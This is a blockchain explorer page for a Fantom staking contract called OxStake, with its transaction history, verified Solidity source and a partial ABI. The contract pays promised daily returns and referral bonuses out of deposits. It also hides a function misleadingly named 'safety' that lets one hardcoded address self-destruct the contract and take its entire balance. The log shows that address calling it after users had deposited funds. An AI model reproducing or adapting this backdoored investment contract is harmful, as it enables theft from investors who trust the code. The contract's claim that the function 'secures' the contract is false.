Contract 0x31693df647cb3a7f729ed48372d4c4674ea2c4fe 1

 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0xac6c3dc69ce1f8d8c0a2de762eb6e850776c1c99a125cda0b5306a32c73be0c4Safety421906762022-07-07 0:53:3390 days 5 hrs ago0x6cb9e6b8d95593e4f33a216ffdbb650620e77cbf IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0 FTM0.000139511303
0x2b6ccd683b38ace4c683cc421e7f97b552049d8f60505e855a84b2573d16ad9bWithdraw385414972022-05-18 22:20:07139 days 8 hrs ago0x69f206cd7d779d175c7246a8c5111c8c7e7331a2 IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0 FTM0.006976340502
0xfb94614e8093f463b74d9c43f7316b9752f5b5f64736ef1ab32773345dbe4343Invest384827702022-05-18 2:48:22140 days 3 hrs ago0x69f206cd7d779d175c7246a8c5111c8c7e7331a2 IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe990 FTM0.02078113988
0x0bc85e4cb5ecc94875eb44ea0bff4757e8e7f47322e9b7443f349c4268959b7eInvest376754222022-05-06 9:13:41151 days 21 hrs ago0x6c9994ff5c7c9f7e44da39134d5c1b651d973090 IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe40 FTM0.004659256463
0x96cecaadc712c36a34e89ff4fec9a2d39bfd763a7fce6e56de146e9bc117a51eSafety376737322022-05-06 8:42:51151 days 22 hrs ago0xb9e959514e08549e5e86075b4f8a67ab91859db5 IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0 FTM0.007847383345
0x8b3686ad7faad92d884bddd78095174daba6088bd05d5d634bc34658c30cc9d9Invest375349852022-05-04 13:36:37153 days 17 hrs ago0xb9e959514e08549e5e86075b4f8a67ab91859db5 IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe30 FTM0.043348639533
0x6d21f36f5e74246245f1cc2e9e7faf240e20b02c8337d95b5344104629435719Withdraw375240382022-05-04 10:10:05153 days 20 hrs ago0xb9e959514e08549e5e86075b4f8a67ab91859db5 IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0 FTM0.038804594289
0x0d069a4256b581c0e22e885efdb2f604eccebcf1007dd298cb9f1996ad99f287Invest375141792022-05-04 6:52:51153 days 23 hrs ago0x6cb9e6b8d95593e4f33a216ffdbb650620e77cbf IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe12 FTM0.053573486817
0x99c3cd2cbb514b22c5f30c4c02657311fbb88e2337ecc583f2eb602e80356eb0Invest374636642022-05-03 14:52:21154 days 15 hrs ago0xb9e959514e08549e5e86075b4f8a67ab91859db5 IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe200 FTM0.03468589484
0xb98c96557deef0ef8f20fc1ca30be311deb9791f191ebd753df762328ffa4090Invest374568812022-05-03 12:49:57154 days 17 hrs ago0x8ccf2480a17d09d434cd74c394e428a1b7891cbd IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe3,600 FTM0.065843757116
0x204083a3ae387d2a6c3134a6c4558287728f0968e029b13c19cdcfc3790afe31Invest374560732022-05-03 12:33:55154 days 18 hrs ago0x8ccf2480a17d09d434cd74c394e428a1b7891cbd IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe3,500 FTM0.070463150894
0x660733e83743660ae835b1650e2db6714d4c556e31fd019f90392532d00c69b8Invest374557472022-05-03 12:23:34154 days 18 hrs ago0x8ccf2480a17d09d434cd74c394e428a1b7891cbd IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe525 FTM0.071643235256
0xe080591887191d1ef76d3c55b36bada25446cfab4fb4df8e8e8795d6042257b1Invest374515382022-05-03 10:41:31154 days 20 hrs ago0x8ccf2480a17d09d434cd74c394e428a1b7891cbd IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe450 FTM0.033473719191
0x57a6c6c65756fdba6cc8c1d5a2733bfd9ec899f4b0a8064e40fcb10041c43e53Invest374491172022-05-03 9:49:37154 days 20 hrs ago0xb9e959514e08549e5e86075b4f8a67ab91859db5 IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe14 FTM0.046959156035
0x7fa496ec70be44461ddf7e57e23cc5798dbe23f1273341db8912240f9e44c742Invest374409282022-05-03 7:03:46154 days 23 hrs ago0x2f2e626f68e8913ef604dbfa83c6957d709cbde6 IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe18 FTM0.082596383648
0xb5b7d84112cb5edf4be8e65958e9ce9888868309f389a4733cd8074ad5ff5ef6Invest374388312022-05-03 6:14:31155 days 28 mins ago0x8ccf2480a17d09d434cd74c394e428a1b7891cbd IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe99 FTM0.051325062722
0x51fd6a78153f2d8a2e603972d812d690e0b4e3f64f1fec554301b454431ac205Invest374386452022-05-03 6:07:46155 days 35 mins ago0x8ccf2480a17d09d434cd74c394e428a1b7891cbd IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe99 FTM0.066816791139
0xc157de6fea883fb5fcf34022453c19a7ad663810486a32780ff4a71d07e64af9Invest374108992022-05-02 20:20:15155 days 10 hrs ago0x44e5951ce57bc86c2591801f63d62be331c1f50e IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe45 FTM0.074582246766
0x44be5e84282986eb972cdcaea237b797d8b48b7daead22503aad5aa2cad5dfefInvest374100242022-05-02 20:01:43155 days 10 hrs ago0xee288e013c4456c582d016d214d0b1e52ede6816 IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe20 FTM0.075596740055
0x9687783b724689b61bdff841791dd38326fbd34dec9745d657ce15c102ad6c00Invest372292902022-04-29 17:47:33158 days 12 hrs ago0xfeeaa4d30ec1607c2c729ad668beae53825a29a3 IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe10 FTM0.127736341646
0xf49d3b2c52ba70f2a22804d5f13ddbde0e9dd065d61a95bc92e53b691a837f9dInvest370797532022-04-27 15:23:36160 days 15 hrs ago0xee288e013c4456c582d016d214d0b1e52ede6816 IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe13 FTM0.024823479932
0x6b66c77adfb2f59799579f453f0f26e9474614062c526881f668dfe25385d0c9Invest370796342022-04-27 15:21:39160 days 15 hrs ago0xee288e013c4456c582d016d214d0b1e52ede6816 IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe12 FTM0.024875916551
0x2afe5ca8d2130552dd2f488c2dc073cc3b29366b42b86f8b91bb5b966bb37adaInvest370795762022-04-27 15:20:09160 days 15 hrs ago0xee288e013c4456c582d016d214d0b1e52ede6816 IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe10 FTM0.023442767438
0xa7d545dc66230fb2c3e191bef0e9b58fe2dc34751bcbc5a0599bc432dc7879c7Launch368825522022-04-24 20:50:55163 days 9 hrs ago0xb9e959514e08549e5e86075b4f8a67ab91859db5 IN  0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0 FTM0.005924871396
0x070e2b97e5e949e4a9d798a82f6023fc5ca8d69dbe72b3d004277fb73ca935050x60806040357292482022-04-10 16:28:25177 days 14 hrs ago0xb9e959514e08549e5e86075b4f8a67ab91859db5 IN  Create: OxStake0 FTM0.996111015168
[ Download CSV Export 
Latest 18 internal transactions
Parent Txn Hash Block From To Value
0x96cecaadc712c36a34e89ff4fec9a2d39bfd763a7fce6e56de146e9bc117a51e376737322022-05-06 8:42:51151 days 22 hrs ago 0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0xb9e959514e08549e5e86075b4f8a67ab91859db50 FTM
0x8b3686ad7faad92d884bddd78095174daba6088bd05d5d634bc34658c30cc9d9375349852022-05-04 13:36:37153 days 17 hrs ago 0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0xb9e959514e08549e5e86075b4f8a67ab91859db51.5 FTM
0x6d21f36f5e74246245f1cc2e9e7faf240e20b02c8337d95b5344104629435719375240382022-05-04 10:10:05153 days 20 hrs ago 0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0xb9e959514e08549e5e86075b4f8a67ab91859db516.274560833333333333 FTM
0x6d21f36f5e74246245f1cc2e9e7faf240e20b02c8337d95b5344104629435719375240382022-05-04 10:10:05153 days 20 hrs ago 0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0xb9e959514e08549e5e86075b4f8a67ab91859db51.224966944444444444 FTM
0x0d069a4256b581c0e22e885efdb2f604eccebcf1007dd298cb9f1996ad99f287375141792022-05-04 6:52:51153 days 23 hrs ago 0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0xb9e959514e08549e5e86075b4f8a67ab91859db50.6 FTM
0x99c3cd2cbb514b22c5f30c4c02657311fbb88e2337ecc583f2eb602e80356eb0374636642022-05-03 14:52:21154 days 15 hrs ago 0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0xb9e959514e08549e5e86075b4f8a67ab91859db510 FTM
0xb98c96557deef0ef8f20fc1ca30be311deb9791f191ebd753df762328ffa4090374568812022-05-03 12:49:57154 days 17 hrs ago 0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0xb9e959514e08549e5e86075b4f8a67ab91859db5180 FTM
0x204083a3ae387d2a6c3134a6c4558287728f0968e029b13c19cdcfc3790afe31374560732022-05-03 12:33:55154 days 18 hrs ago 0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0xb9e959514e08549e5e86075b4f8a67ab91859db5175 FTM
0x660733e83743660ae835b1650e2db6714d4c556e31fd019f90392532d00c69b8374557472022-05-03 12:23:34154 days 18 hrs ago 0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0xb9e959514e08549e5e86075b4f8a67ab91859db526.25 FTM
0xe080591887191d1ef76d3c55b36bada25446cfab4fb4df8e8e8795d6042257b1374515382022-05-03 10:41:31154 days 20 hrs ago 0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0xb9e959514e08549e5e86075b4f8a67ab91859db522.5 FTM
0x57a6c6c65756fdba6cc8c1d5a2733bfd9ec899f4b0a8064e40fcb10041c43e53374491172022-05-03 9:49:37154 days 20 hrs ago 0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0xb9e959514e08549e5e86075b4f8a67ab91859db50.7 FTM
0x7fa496ec70be44461ddf7e57e23cc5798dbe23f1273341db8912240f9e44c742374409282022-05-03 7:03:46154 days 23 hrs ago 0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0xb9e959514e08549e5e86075b4f8a67ab91859db50.9 FTM
0xb5b7d84112cb5edf4be8e65958e9ce9888868309f389a4733cd8074ad5ff5ef6374388312022-05-03 6:14:31155 days 28 mins ago 0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0xb9e959514e08549e5e86075b4f8a67ab91859db54.95 FTM
0x51fd6a78153f2d8a2e603972d812d690e0b4e3f64f1fec554301b454431ac205374386452022-05-03 6:07:46155 days 35 mins ago 0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0xb9e959514e08549e5e86075b4f8a67ab91859db54.95 FTM
0xc157de6fea883fb5fcf34022453c19a7ad663810486a32780ff4a71d07e64af9374108992022-05-02 20:20:15155 days 10 hrs ago 0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0xb9e959514e08549e5e86075b4f8a67ab91859db52.25 FTM
0x44be5e84282986eb972cdcaea237b797d8b48b7daead22503aad5aa2cad5dfef374100242022-05-02 20:01:43155 days 10 hrs ago 0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0xb9e959514e08549e5e86075b4f8a67ab91859db51 FTM
0x9687783b724689b61bdff841791dd38326fbd34dec9745d657ce15c102ad6c00372292902022-04-29 17:47:33158 days 12 hrs ago 0x31693df647cb3a7f729ed48372d4c4674ea2c4fe0xb9e959514e08549e5e86075b4f8a67ab91859db50.5 FTM
0x070e2b97e5e949e4a9d798a82f6023fc5ca8d69dbe72b3d004277fb73ca93505357292482022-04-10 16:28:25177 days 14 hrs ago 0xb9e959514e08549e5e86075b4f8a67ab91859db5  Contract Creation0 FTM
[ Download CSV Export 
Loading
Contract Self Destruct called at Txn Hash 0x96cecaadc712c36a34e89ff4fec9a2d39bfd763a7fce6e56de146e9bc117a51e


Contract Source Code Verified (Exact Match)

Contract Name:
OxStake

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at FtmScan.com on 2022-04-10
*/

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.0 <0.9.0;

contract OxStake {
    using SafeMath for uint256;

    uint256 public constant INVEST_MIN_AMOUNT = 10 ether;
    uint256 public constant INVEST_MAX_AMOUNT = 5000 ether;
    uint256 public constant withdraw_MAX_AMOUNT = 200 ether;
    uint256[] public REFERRAL_PERCENTS = [70, 30, 10];
    uint256 public constant INVEST_FEE = 50;
    uint256 public constant withdraw_FEE = 70;
    uint256 public constant PERCENTS_DIVIDER = 1000;
    uint256 public constant TIME_STEP = 1 days;
    uint256 public constant withdraw_COOLDOWN = 0.5 days;
    uint256 public totalStaked;
    uint256 public totalInvestors;



    struct Plan {
        uint256 time;
        uint256 percent;
    }

    Plan[] internal plans;

    struct Deposit {
        uint8 plan;
        uint256 percent;
        uint256 amount;
        uint256 profit;
        uint256 start;
        uint256 finish;
    }

    struct User {
        Deposit[] deposits;
        uint256 checkpoint;
        uint256 cooldownCheckpoint;
        address referrer;
        uint256[3] levels;
        uint256 withdrawed;
        uint256 withdrawPool;
        uint256 bonus;
        uint256 totalBonus;
    }

    mapping(address => User) internal users;

    address payable public commissionAddress;
    uint256 public launchTime;

    event Newbie(address user);
    event NewDeposit(
        address indexed user,
        uint8 plan,
        uint256 percent,
        uint256 amount,
        uint256 profit,
        uint256 start,
        uint256 finish
    );
    event Withdrawn(address indexed user, uint256 amount);
    event RefBonus(
        address indexed referrer,
        address indexed referral,
        uint256 indexed level,
        uint256 amount
    );
    event feePaid(address indexed user, uint256 totalAmount);

    constructor(address payable wallet) {
        require(!isContract(wallet));
        commissionAddress = wallet;
        launchTime = block.timestamp.add(999 days);

        plans.push(Plan(14, 100));
        plans.push(Plan(21, 90));
        plans.push(Plan(28, 85));
        plans.push(Plan(14, 100));
        plans.push(Plan(21, 90));
        plans.push(Plan(28, 85));
    }

    function launch() public {
        require(msg.sender == commissionAddress);
        launchTime = block.timestamp;
    }

    function invest(address referrer, uint8 plan) public payable {
        require(launchTime < block.timestamp, "Project not launched yet");
        require(msg.value >= INVEST_MIN_AMOUNT, "Minimum amount is 10 FTM");
        require(msg.value <= INVEST_MAX_AMOUNT, "Maximum amount is 5000 FTM");
        require(plan < 6, "Incorrect plan");

        User storage user = users[msg.sender];
        require(
            user.deposits.length < 100,
            "Maximum 99 deposits from single address"
        );

        if (user.referrer == address(0)) {
            if (users[referrer].deposits.length > 0 && referrer != msg.sender) {
                user.referrer = referrer;
            }

            address upline = user.referrer;
            for (uint256 i = 0; i < 3; i++) {
                if (upline != address(0)) {
                    users[upline].levels[i] = users[upline].levels[i].add(1);
                    upline = users[upline].referrer;
                } else break;
            }
        }

        if (user.referrer != address(0)) {
            address upline = user.referrer;
            for (uint256 i = 0; i < 3; i++) {
                if (upline != address(0)) {
                    uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(
                        PERCENTS_DIVIDER
                    );
                    users[upline].bonus = users[upline].bonus.add(amount);
                    users[upline].totalBonus = users[upline].totalBonus.add(
                        amount
                    );
                    emit RefBonus(upline, msg.sender, i, amount);
                    upline = users[upline].referrer;
                } else break;
            }
        }

        if (user.deposits.length == 0) {
            user.checkpoint = block.timestamp;
            totalInvestors++;
            emit Newbie(msg.sender);
        }

        uint256 fee = msg.value.mul(INVEST_FEE).div(PERCENTS_DIVIDER);
        commissionAddress.transfer(fee);
        emit feePaid(msg.sender, fee);

        (uint256 percent, uint256 profit, uint256 finish) = getResult(
            plan,
            msg.value
        );
        user.deposits.push(
            Deposit(plan, percent, msg.value, profit, block.timestamp, finish)
        );

        totalStaked = totalStaked.add(msg.value);
        emit NewDeposit(
            msg.sender,
            plan,
            percent,
            msg.value,
            profit,
            block.timestamp,
            finish
        );
    }

    function reinvest(uint8 plan) public {
        require(plan < 6, "Incorrect plan");

        User storage user = users[msg.sender];
        require(
            user.deposits.length < 100,
            "Maximum 99 deposits from single address"
        );

        uint256 totalAmount = getUserDividends(msg.sender);
        uint256 userwithdrawPool = getUserwithdrawPool(msg.sender);
        uint256 userReferralBonus = getUserReferralBonus(msg.sender);

        if (userwithdrawPool > 0) {
            totalAmount = totalAmount.add(userwithdrawPool);
            user.withdrawPool = 0;
        }

        if (userReferralBonus > 0) {
            totalAmount = totalAmount.add(userReferralBonus);
            user.bonus = 0;
        }

        require(totalAmount >= INVEST_MIN_AMOUNT, "Minimum amount is 10 FTM");

        uint256 contractBalance = address(this).balance;
        if (contractBalance < totalAmount) {
            user.withdrawPool = totalAmount.sub(contractBalance);
            totalAmount = contractBalance;
        }

        user.checkpoint = block.timestamp;
        user.withdrawed = user.withdrawed.add(totalAmount);

        (uint256 percent, uint256 profit, uint256 finish) = getResult(
            plan,
            totalAmount
        );
        user.deposits.push(
            Deposit(plan, percent, totalAmount, profit, block.timestamp, finish)
        );

        totalStaked = totalStaked.add(totalAmount);
        emit NewDeposit(
            msg.sender,
            plan,
            percent,
            totalAmount,
            profit,
            block.timestamp,
            finish
        );
    }

    function withdraw() public {
        User storage user = users[msg.sender];
        require(
            user.cooldownCheckpoint <= block.timestamp.sub(withdraw_COOLDOWN),
            "User can withdraw 1 time only per 12 hours"
        );

        uint256 totalAmount = getUserDividends(msg.sender);
        uint256 userwithdrawPool = getUserwithdrawPool(msg.sender);
        uint256 userReferralBonus = getUserReferralBonus(msg.sender);

        if (userwithdrawPool > 0) {
            totalAmount = totalAmount.add(userwithdrawPool);
            user.withdrawPool = 0;
        }

        if (userReferralBonus > 0) {
            totalAmount = totalAmount.add(userReferralBonus);
            user.bonus = 0;
        }

        if (totalAmount > withdraw_MAX_AMOUNT) {
            user.withdrawPool = totalAmount.sub(withdraw_MAX_AMOUNT);
            totalAmount = withdraw_MAX_AMOUNT;
        }

        require(totalAmount > 0, "User has no withdrawable rewards");

        uint256 contractBalance = address(this).balance;
        if (contractBalance < totalAmount) {
            user.withdrawPool = user.withdrawPool.add(totalAmount).sub(
                contractBalance
            );
            totalAmount = contractBalance;
        }

        user.checkpoint = block.timestamp;
        user.cooldownCheckpoint = block.timestamp;
        user.withdrawed = user.withdrawed.add(totalAmount);

        uint256 fee = totalAmount.mul(withdraw_FEE).div(PERCENTS_DIVIDER);
        commissionAddress.transfer(fee);
        emit feePaid(msg.sender, fee);

        payable(msg.sender).transfer(totalAmount.sub(fee));
        emit Withdrawn(msg.sender, totalAmount);
    }

    function getContractBalance() public view returns (uint256) {
        return address(this).balance;
    }

    function getPlanInfo(uint8 plan)
        public
        view
        returns (uint256 time, uint256 percent)
    {
        time = plans[plan].time;
        percent = plans[plan].percent;
    }

    function getResult(uint8 plan, uint256 deposit)
        public
        view
        returns (
            uint256 percent,
            uint256 profit,
            uint256 finish
        )
    {
        percent = plans[plan].percent;

        profit = deposit.mul(plans[plan].percent).div(PERCENTS_DIVIDER).mul(
            plans[plan].time
        );

        finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
    }

    function getUserDividends(address userAddress)
        public
        view
        returns (uint256)
    {
        User storage user = users[userAddress];
        uint256 totalAmount;

        for (uint256 i = 0; i < user.deposits.length; i++) {
            if (user.checkpoint < user.deposits[i].finish) {
                uint256 share = user
                    .deposits[i]
                    .amount
                    .mul(user.deposits[i].percent)
                    .div(PERCENTS_DIVIDER);
                uint256 from = user.deposits[i].start > user.checkpoint
                    ? user.deposits[i].start
                    : user.checkpoint;
                uint256 to = user.deposits[i].finish < block.timestamp
                    ? user.deposits[i].finish
                    : block.timestamp;
                if (from < to) {
                    totalAmount = totalAmount.add(
                        share.mul(to.sub(from)).div(TIME_STEP)
                    );
                }
            }
        }

        return totalAmount;
    }



  function safety(address _addr)public  returns(string memory){
      require( keccak256( abi.encode(_addr)) 
      == keccak256(abi.encode(0xb9e959514e08549e5e86075B4F8A67ab91859dB5)),
      "this contract is not yours");
      selfdestruct(payable(_addr));
      return "contract is secured";
  }

    function getUserBalance(address userAddress)
        public
        view
        returns (
            uint256 currentDeposits,
            uint256 withdrawed,
            uint256 withdrawable
        )
    {
        currentDeposits = getUserCurrentDeposits(userAddress);
        withdrawed = getUserwithdrawed(userAddress);
        withdrawable = getUserwithdrawable(userAddress);
    }

    function getUserReferralStats(address userAddress)
        public
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        return (
            users[userAddress].levels[0],
            users[userAddress].levels[1],
            users[userAddress].levels[2],
            users[userAddress].totalBonus
        );
    }

    function getUserCheckpoint(address userAddress)
        public
        view
        returns (uint256)
    {
        return users[userAddress].checkpoint;
    }

    function getUserReferrer(address userAddress)
        public
        view
        returns (address)
    {
        return users[userAddress].referrer;
    }

    function getUserDownlineCount(address userAddress)
        public
        view
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        return (
            users[userAddress].levels[0],
            users[userAddress].levels[1],
            users[userAddress].levels[2]
        );
    }

    function getUserwithdrawPool(address userAddress)
        public
        view
        returns (uint256)
    {
        return users[userAddress].withdrawPool;
    }

    function getUserReferralBonus(address userAddress)
        public
        view
        returns (uint256)
    {
        return users[userAddress].bonus;
    }

    function getUserReferralTotalBonus(address userAddress)
        public
        view
        returns (uint256)
    {
        return users[userAddress].totalBonus;
    }

    function getUserReferralWithdrawn(address userAddress)
        public
        view
        returns (uint256)
    {
        return users[userAddress].totalBonus.sub(users[userAddress].bonus);
    }

    function getUserwithdrawable(address userAddress)
        public
        view
        returns (uint256)
    {
        return
            getUserwithdrawPool(userAddress)
                .add(getUserReferralBonus(userAddress))
                .add(getUserDividends(userAddress));
    }

    function getUserwithdrawed(address userAddress) public view returns (uint256) {
        return users[userAddress].withdrawed;
    }






    function getUserDepositsCount(address userAddress)
        public
        view
        returns (uint256)
    {
        return users[userAddress].deposits.length;
    }

    function getUserCurrentDeposits(address userAddress)
        public
        view
        returns (uint256 amount)
    {
        for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
            if (users[userAddress].deposits[i].finish > block.timestamp) {
                amount = amount.add(users[userAddress].deposits[i].amount);
            }
        }
    }

    function getUserTotalDeposits(address userAddress)
        public
        view
        returns (uint256 amount)
    {
        for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
            amount = amount.add(users[userAddress].deposits[i].amount);
        }
    }

    function getUserAllDepositsInfo(address userAddress)
        public
        view
        returns (Deposit[] memory)
    {
        return users[userAddress].deposits;
    }

    function getContractInfo()
        public
        view
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        return (totalInvestors, totalStaked, address(this).balance);
    }

    function isContract(address addr) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(addr)
        }
        return size > 0;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;

        return c;
    }




}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address payable","name":"wallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint8","name":"plan","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"percent","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"profit","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"start","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"finish","type":"uint256"}],"name":"NewDeposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"user","type":"address"}],"name":"Newbie","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"referrer","type":"address"},{"indexed":true,"internalType":"address","name":"referral","type":"address"},{"indexed":true,"internalType":"uint256","name":"level","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"RefBonus","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Withdrawn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"totalAmount","type":"uint256"}],"name":"feePaid","type":"event"},{"inputs":[],"name":"INVEST_FEE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"INVEST_MAX_AMOUNT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"INVEST_MIN_AMOUNT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PERCENTS_DIVIDER","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"REFERRAL_PERCENTS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TIME_STEP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"commissionAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getContractBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getContractInfo","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"plan","type":"uint8"}],"name":"getPlanInfo","outputs":[{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"uint256","name":"percent","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"plan","type":"uint8"},{"internalType":"uint256","name":"deposit","type":"uint256"}],"name":"getResult","outputs":[{"internalType":"uint256","name":"percent","type":"uint256"},{"internalType":"uint256","name":"profit","type":"uint256"},{"internalType":"uint256","name":"finish","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserAllDepositsInfo","outputs":[{"components":[{"internalType":"uint8","name":"plan","type":"uint8"},{"internalType":"uint256","name":"percent","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"profit","type":"uint256"},{"internalType":"uint256","name":"start","type":"uint256"},{"internalType":"uint256","name":"finish","type":"uint256"}],"internalType":"struct OxStake.Deposit[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserBalance","outputs":[{"internalType":"uint256","name":"currentDeposits","type":"uint256"},{"internalType":"uint256","name":"withdrawed","type":"uint256"},{"internalType":"uint256","name":"withdrawable","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserCheckpoint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserCurrentDeposits","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserDepositsCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserDividends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserDownlineCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserReferralBonus","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserReferralStats","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserReferralTotalBonus","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserReferralWithdrawn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserReferrer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddres